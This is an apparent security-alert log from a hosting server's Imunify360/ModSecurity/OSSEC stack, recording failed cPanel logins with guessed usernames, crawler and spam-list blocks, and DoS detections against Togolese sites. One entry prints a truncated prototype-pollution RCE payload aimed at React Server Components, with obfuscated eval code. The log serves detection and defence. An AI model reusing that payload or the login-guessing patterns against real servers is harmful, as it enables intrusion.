description:
[2026-06-26 14:39:17 +0000] info [cpaneld] 185.113.72.244 - lag "GET /login/?login_only=1&user=lag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lag (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.189.62.79
country_id: 3469034
description:
[2026-06-26 14:39:12 +0000] info [cpaneld] 181.189.62.79 - lago "GET /login/?login_only=1&user=lago&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lago (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.56.193.157
country_id: 99237
description:
[2026-06-26 14:39:20 +0000] info [cpaneld] 185.56.193.157 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.138
country_id: 1880251
description:
43.173.175.138 - - [26/Jun/2026:14:41:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9683866&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F1127&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782484909 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/1127" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.138


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 188.212.135.192
country_id: 798544
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-42.188.212.135.192||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.167
country_id: 3469034
description:
Jun 26 14:43:25 ns5 auth[393837]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.167 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 136.113.9.105
country_id: 6252001
domain: test.free.netmaster.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.31
country_id: 1880251
description:
43.173.176.31 - - [26/Jun/2026:14:43:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10248855&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F25333&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782485030 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/25333" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.31


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: test.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"ns_a3d7ca23\":\"8f3c0c87ff0e19f4\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var udrrj=[].slice.call(arguments,1)[0];var gcss=udrrj;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"f\\\",\\\"e\\\",\\\"r\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.113.112
country_id: 6252001
description:
[2026-06-26 14:44:26 +0000] info [whostmgrd] 82.40.113.112 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.66.56.108
country_id: 1643084
domain: belali.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat||User:dmmkifel||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.132.166
country_id: 2635167
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.181.132.166||TA:107.181.132.166||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.82.43
country_id: 6252001
description:
[2026-06-26 14:45:49 +0000] info [whostmgrd] 82.40.82.43 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-26 14:46:01 +0000] info [cpaneld] 37.130.84.20 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.183.220
country_id: 6252001
description:
[2026-06-26 14:49:42 +0000] info [cpaneld] 172.58.183.220 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.66.223.129
country_id: 6252001
description:
[2026-06-26 14:49:51 +0000] info [cpaneld] 153.66.223.129 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.89.155.26
country_id: 6252001
description:
[2026-06-26 14:49:48 +0000] info [cpaneld] 38.89.155.26 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.66.56.108
country_id: 1643084
domain: brmn.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat||User:zgqykfsi||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.196.79
country_id: 1880251
description:
43.172.196.79 - - [26/Jun/2026:14:53:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066539&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F57285&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782485600 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/57285" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.196.79


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.55
country_id: 6252001
description:
205.169.39.55 - - [26/Jun/2026:14:55:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055832&pdata=http%253A%252F%252Fcafeit.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782485702 HTTP/1.1" 302 0 cafeit.tg "http://cafeit.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.55


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.142.162
country_id: 2635167
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.181.142.162||TA:107.181.142.162||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.103.243
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:152.232.103.243||TA:152.232.103.243||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.154.51
country_id: 2635167
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.181.154.51||TA:107.181.154.51||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.119.195
country_id: 798544
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:92.113.119.195||TA:92.113.119.195||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.245.206.213
country_id: 2635167
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:151.245.206.213||TA:151.245.206.213||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.237.236.189
country_id: 6252001
description:
[2026-06-26 14:55:47 +0000] info [cpaneld] 73.237.236.189 - mondeai "GET /login/?login_only=1&user=mondeai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mondeai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.124.211.104
country_id: 6252001
description:
[2026-06-26 14:56:05 +0000] info [cpaneld] 70.124.211.104 - mon "GET /login/?login_only=1&user=mon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mon (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.141.183
country_id: 2635167
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.181.141.183||TA:107.181.141.183||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.219.78
country_id: 6252001
description:
[2026-06-26 14:55:50 +0000] info [cpaneld] 172.56.219.78 - mondeaitg "GET /login/?login_only=1&user=mondeaitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mondeaitg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.218.255.159
country_id: 6252001
description:
[2026-06-26 14:55:57 +0000] info [cpaneld] 47.218.255.159 - monde "GET /login/?login_only=1&user=monde&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user monde (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.59.162.169
country_id: 6252001
description:
[2026-06-26 14:56:08 +0000] info [cpaneld] 73.59.162.169 - mo "GET /login/?login_only=1&user=mo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mo (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 136.66.130.204
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 136.66.130.204: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.75.24.47
country_id: 6252001
description:
[2026-06-26 14:55:54 +0000] info [cpaneld] 73.75.24.47 - mondea "GET /login/?login_only=1&user=mondea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mondea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.202.198.177
country_id: 6252001
description:
[2026-06-26 14:55:44 +0000] info [cpaneld] 104.202.198.177 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.187.115.180
country_id: 597427
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.187.115.180||TA:193.187.115.180||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 136.109.114.208
country_id: 6252001
domain: flp-tg.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.21||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 136.66.155.213
country_id: 6252001
domain: djama.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/web/wp-json/wp/v2/users/||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.121.144.196
country_id: 6252001
description:
[2026-06-26 15:00:52 +0000] info [cpaneld] 64.121.144.196 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.116.169.239
country_id: 6252001
description:
[2026-06-26 15:00:55 +0000] info [cpaneld] 76.116.169.239 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.123
country_id: 1880251
description:
43.173.173.123 - - [26/Jun/2026:15:00:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054602&pdata=http%253A%252F%252Ftogodailynews.tg%252Fauthor%252Fadmin%252Fpage%252F339%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782486018 HTTP/1.1" 404 561 togodailynews.tg "http://togodailynews.tg/author/admin/page/339/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.136.106.246
country_id: 6252001
description:
[2026-06-26 15:00:36 +0000] info [cpaneld] 76.136.106.246 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.182.205.42
country_id: 6252001
description:
[2026-06-26 15:00:48 +0000] info [cpaneld] 75.182.205.42 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.212.131.233
country_id: 6252001
description:
[2026-06-26 15:00:33 +0000] info [cpaneld] 97.212.131.233 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.44.219.8
country_id: 6252001
description:
[2026-06-26 15:00:39 +0000] info [cpaneld] 70.44.219.8 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.194.153.93
country_id: 6252001
description:
[2026-06-26 15:00:42 +0000] info [cpaneld] 68.194.153.93 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 137.115.5.118
country_id: 927384
description:
[2026-06-26 15:01:39 +0000] info [cpaneld] 137.115.5.118 - crech "GET /login/?login_only=1&user=crech&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crech (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.52.133
country_id: 1168579
description:
[2026-06-26 15:01:44 +0000] info [cpaneld] 72.255.52.133 - crec "GET /login/?login_only=1&user=crec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.246.139.229
country_id: 3469034
description:
[2026-06-26 15:01:49 +0000] info [cpaneld] 170.246.139.229 - cre "GET /login/?login_only=1&user=cre&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cre (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.84.20.122
country_id: 3686110
description:
[2026-06-26 15:01:54 +0000] info [cpaneld] 186.84.20.122 - cr "GET /login/?login_only=1&user=cr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.73.10.190
country_id: 1733045
description:
[2026-06-26 15:01:13 +0000] info [cpaneld] 180.73.10.190 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ingersarlu@inger.tg [06/26/2026:15:02:52 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ingersarlu@inger.tg


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 49.45.28.84
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 49.45.28.84: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.66.56.108
country_id: 1643084
domain: davetechno.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat||User:davetkoo||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.255.222.127
country_id: 6252001
description:
[2026-06-26 15:06:57 +0000] info [whostmgrd] 69.255.222.127 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.72.236
country_id: 1282988
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/fonds-africain-de-developpement-cinq-pays-membres-regionaux-de-la-bad-prendront-part-a-la-reconstitution-des-ressources/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.99.192.245
country_id: 6252001
description:
[2026-06-26 15:07:01 +0000] info [whostmgrd] 99.99.192.245 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.72.236
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fonds-africain-de-developpement-cinq-pays-membres-regionaux-de-la-bad-prendront-part-a-la-reconstitution-des-ressources/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.20
country_id: 1880251
description:
43.173.182.20 - - [26/Jun/2026:15:08:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6856037&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F24603&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782486496 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/24603" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.20


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 94.43.180.196
country_id: 614540
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-08.94.43.180.196||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.246.233.95
country_id: 6252001
description:
[2026-06-26 15:09:36 +0000] info [cpaneld] 71.246.233.95 - mafisteeltg "GET /login/?login_only=1&user=mafisteeltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteeltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.138.124.99
country_id: 6252001
description:
[2026-06-26 15:09:30 +0000] info [cpaneld] 69.138.124.99 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.56.18.34
country_id: 6252001
description:
[2026-06-26 15:09:42 +0000] info [cpaneld] 66.56.18.34 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.196.205.177
country_id: 3469034
description:
[2026-06-26 15:09:59 +0000] info [cpaneld] 131.196.205.177 - mft "GET /login/?login_only=1&user=mft&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mft (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.187.77.160
country_id: 99237
description:
[2026-06-26 15:09:50 +0000] info [cpaneld] 185.187.77.160 - mftog "GET /login/?login_only=1&user=mftog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mftog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.110.82.134
country_id: 6252001
description:
[2026-06-26 15:09:54 +0000] info [cpaneld] 46.110.82.134 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.253.253.230
country_id: 6252001
description:
[2026-06-26 15:10:02 +0000] info [cpaneld] 69.253.253.230 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.66.159.212
country_id: 2017370
description:
[2026-06-26 15:09:38 +0000] info [cpaneld] 178.66.159.212 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.173.221.110
country_id: 6252001
description:
[2026-06-26 15:09:33 +0000] info [cpaneld] 209.173.221.110 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.145.39.92
country_id: 1733045
description:
[2026-06-26 15:09:54 +0000] info [cpaneld] 175.145.39.92 - mfto "GET /login/?login_only=1&user=mfto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mfto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.197.139.241
country_id: 6252001
description:
[2026-06-26 15:09:59 +0000] info [cpaneld] 72.197.139.241 - maf "GET /login/?login_only=1&user=maf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.84.58.58
country_id: 3469034
description:
[2026-06-26 15:09:46 +0000] info [cpaneld] 170.84.58.58 - mftogotg "GET /login/?login_only=1&user=mftogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mftogotg (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 94.43.180.196
country_id: 614540
domain: macite.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-10.94.43.180.196||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.254.75.34
country_id: 2921044
description:
[2026-06-26 15:12:55 +0000] info [cpaneld] 185.254.75.34 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-26 15:13:25 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.178.6.143
country_id: 1210997
domain: pnls.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:61480.pnls.tg||ServerName:pnls.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:041fbdb861af4327134c84772f827e31dedc9bc0||Title:0x55733109||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.177.34.174
country_id: 290557
description:
[2026-06-26 15:15:55 +0000] info [cpaneld] 109.177.34.174 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.110.63.25
country_id: 290557
description:
[2026-06-26 15:15:59 +0000] info [cpaneld] 83.110.63.25 - metaart "GET /login/?login_only=1&user=metaart&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaart (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.142.133
country_id: 3658394
description:
[2026-06-26 15:16:07 +0000] info [cpaneld] 157.100.142.133 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.6.156.168
country_id: 3469034
description:
[2026-06-26 15:16:03 +0000] info [cpaneld] 191.6.156.168 - metaarttg "GET /login/?login_only=1&user=metaarttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaarttg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.106.31.225
country_id: 99237
description:
[2026-06-26 15:16:19 +0000] info [cpaneld] 185.106.31.225 - met "GET /login/?login_only=1&user=met&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user met (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 90.207.224.13
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 90.207.224.13: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.243.110
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.245.243.110||TA:104.245.243.110||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.242
country_id: 99237
description:
